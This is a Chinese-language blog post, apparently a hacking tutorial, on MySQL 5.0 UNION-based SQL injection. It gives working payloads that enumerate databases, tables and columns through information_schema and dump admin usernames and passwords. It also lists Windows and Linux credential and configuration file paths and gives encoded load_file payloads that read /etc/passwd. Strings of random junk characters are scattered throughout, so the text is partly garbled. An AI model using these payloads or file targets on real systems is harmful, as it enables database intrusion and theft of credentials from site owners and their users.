mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。

4 s% d, f6 J2 H% O5 s/ G) o/ f, i
" O- h' U+ T  F% y2 w, ?
+ G% s7 [9 S4 Z7 H" HMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
5 f. a% j8 H3 ~3 L: A9 a# k. e" S: O, R中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称
* R+ X% p3 U$ Z- u
2 G9 {2 v3 Q1 m# R& S, E& o- n|TABLES ->存储表名
8 h& e) v& M* a2 D' B* K0 S7 u|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
; r4 O7 b3 a" b|—字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称
( \( R+ J+ W, g1 ~: w# s0 [
|—字段：COLUMN_NAME ->该字段的名称

#########################################################################
- ]6 h  X1 m' z, z" b##
% ^0 P+ b6 g5 O6 A
0×001 获取系统信息:

union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
. q7 Z! O& [4 `) J  j3 u(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

+ P  D& k$ n! o% O* `  W# B; B/*
- ]& |( K. R- g8 T5 o
9 N! i0 x2 f3 p, p! J3 Z7 D@@global.version_compile_os 获取系统版本
9 Z$ @. M& a8 V6 ], R  x4 h
@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
6 z1 P( `3 K# `# v' ~3 b
& g) L8 b+ w- A: |9 j+ b*/
4 }+ F; v/ G8 W, R+ N
1 \0 `; ]( X+ a, {- p, @9 B1 Y$ x######################################################################
1 w' b2 T8 P* h7 c2 j% V. Y0 M3 z7 @
0 F/ B1 f, u) ^* G0×002 获取表名
3 j- y- V+ V6 J3 g1 Y4 s' V
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*

9 @+ F5 k1 h, D+ i( h5 w/*

0x67617264656e 为当前数据库名

* ~& D- y0 [" `$ ogroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
4 O1 P1 Q1 q+ v0 B1 [
; n& z+ c5 p, v' ?*/

: ]9 I9 E  [( ?######################################################################
! g- W/ J* ^/ `$ p
7 C6 H1 E7 x" ?/ v' k0×003 获取字段
- {: T' X% R! _3 M" N
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and


table_schema=0x67617264656e limit 1 /*
* w; L1 A! @7 \: L$ f. i
/*

* H+ N6 L  Y9 b( z7 qgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
; g: l+ Q. f- z' Y. E: l
0x61646d696e ->选择一个表

) C' t% v' _4 D9 G2 f$ D" k0x67617264656e ->数据库名
  C! v3 |/ G5 v: _
*/

#####################################################################
) a) S; R0 X0 b1 r% R7 ?
/ H# t% \; Q' v7 S* t0×004 获取数据
/ h( }" B& |& ^/ Z3 P& b; H
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat
7 f  h: A( t3 @, T(adpassword),6,7,8 from admin

/*
' h6 k0 G7 B: L4 ^# Z
0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据

7 U" X1 k$ z/ N: i9 v*/





顺便添加一些mysql注入时非常有用的一些东西

简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

1:system_user() 系统用户名
2:user()        用户名
7 t& t6 V& ~2 J- d9 N3:current_user()  当前用户名
4 W; N% S* l- O% c, i$ N4:session_user()连接数据库的用户名
5:database()    数据库名
6:version()     MYSQL数据库版本
9 |! _0 ~) Z; f9 W7:load_file()   MYSQL读取本地文件的函数
, K9 m" u+ v2 M- b/ B8@datadir     读取数据库路径
+ \  F2 g% n! n: X9 o9@basedir    MYSQL 安装路径
/ c5 C; i( j$ q3 ^) a( d, h) i10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
WINDOWS下:
c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
5 K7 i. s! x" T- Z- Rc:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
$ i$ [( g& o  w8 I1 x/ R% R9 Gc:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
  o. F0 L" t4 ]- dc:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
. ]% a' S) N. Xc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
1 w/ D$ {/ f0 h: m" ?C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
- Q. Y# x- X; b, Kc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
/ E7 t' t7 A) D6 `) i# O

c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
4 m5 g' J8 g! ~/ J/usr/local/apache2/conf/httpd.conf
# T' j- ~8 g3 [( k6 l/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
& L. k: N+ }6 Q6 ~& g1 G/etc/httpd/conf/httpd.conf // apache配置文件
# `3 t4 j2 v  i, x1 d* Y3 }/etc/rsyncd.conf //同步程序配置文件
- E: ]7 @' P7 T5 E- l) J' U/ U/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
' U4 b/ z* h) X2 G' \) j- M. ^: P) D/etc/issue
8 U6 f, U1 n8 V# `" C0 x, j' I( X/etc/issue.net
  s( C$ g- b$ K. ^# j% U/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
# p, j9 Y7 C1 o& l* Q4 ^/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
; ^/ q1 g, {9 R# _3 A/ n4 h/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
' x# j1 @8 p/ N7 v/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
6 F6 \; w+ M1 s3 }3 M, I9 f/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
# r' t0 F5 V" q2 _4 x4 n) |/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
8 Y$ R) `  X5 [/ ~( w& J0 e/etc/sysconfig/iptables 查看防火墙策略
$ A8 k6 ~9 y4 V, `7 [: t) `load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
) j* S1 F! J9 B" Y9 `replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
( e  A5 Y& w  l7 Z" h4 H( j上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

% L% M: `- I7 b